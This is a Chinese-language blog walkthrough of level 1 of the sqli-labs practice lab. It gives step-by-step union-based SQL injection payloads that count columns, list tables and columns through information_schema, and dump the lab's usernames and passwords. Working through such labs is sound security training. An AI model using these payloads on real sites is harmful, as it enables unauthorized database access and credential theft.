sqlilabs第一關

2023-05-07 06:00:29

首先開啟網頁,進行注入點的測試 輸入?id=1 and 1=1發現1=2的時候沒有進行報錯,有兩種可能,一種是不能注入,第二種是字元型可以通過對字元型裡面的''進行閉合,輸入'and 1=1--+發現在1=2的情況下出現了報錯,說明還是可以進行注入的,

 

截圖.png

然後輸入'order by()--+來拆解一下有多少個顯示欄位,輸入4發現沒有回顯,修改為3發現有回顯,說明有三個回顯欄位

截圖.png

然後輸入'union select 1,2,3--+ 因為有三個顯示欄位,所以查詢一下顯示位,因為我們要顯示我們輸入的1,2,3.所以要把伺服器想要顯示的讓他報錯將id=1修改為-1,發現只有2和3,有回顯

截圖.png

知道2和3可以回顯之後就可以進行下一步,在2或者3的位置進行資訊收集,首先進行他的資料庫版本和資料庫名字進行收集得到

資料庫版本:version() 5.7.26

資料庫名稱:database() security

截圖.png

因為得到了他的資料庫的名字,所以我們要去收集他的表名

'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

查詢到表名有 emails,referers,uagents,users

截圖.png

查詢完表名之後就要去查詢他的列名,一共有四個表名,所以我們就要去挨個查詢,去得到他的敏感資訊,因為要查詢列名,所以就要把查詢的表名切換為列名,然後來自於表名下所有的列,,這些來自於表名所以後面有要改搜尋到的表名,一共有四個表名,就要去挨個去搜尋,

'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='emails'--+

得到的列名總共有 id,email_id id,referer,ip_address id,uagent,ip_address,username

USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level,id,username,password

截圖.png

發現裡面有,username,password意思是賬號密碼的意思,可以在這兩個列裡面查詢裡面的資訊,因為不知道有多少密碼可以嘗試用group_concat()來全部輸出看一下

union select 1,group_concat(username),group_concat(password) from users

聯合查詢,全部輸出(username),全部輸出(password) 來自於users

因為username,password是在users 這個表裡面查詢出來的,就要去這個表裡面去查詢

截圖.png

得到賬號Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4,admin5

密碼Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4,admin5

##本文為原創文章,轉載請附上原文出處連結及本宣告。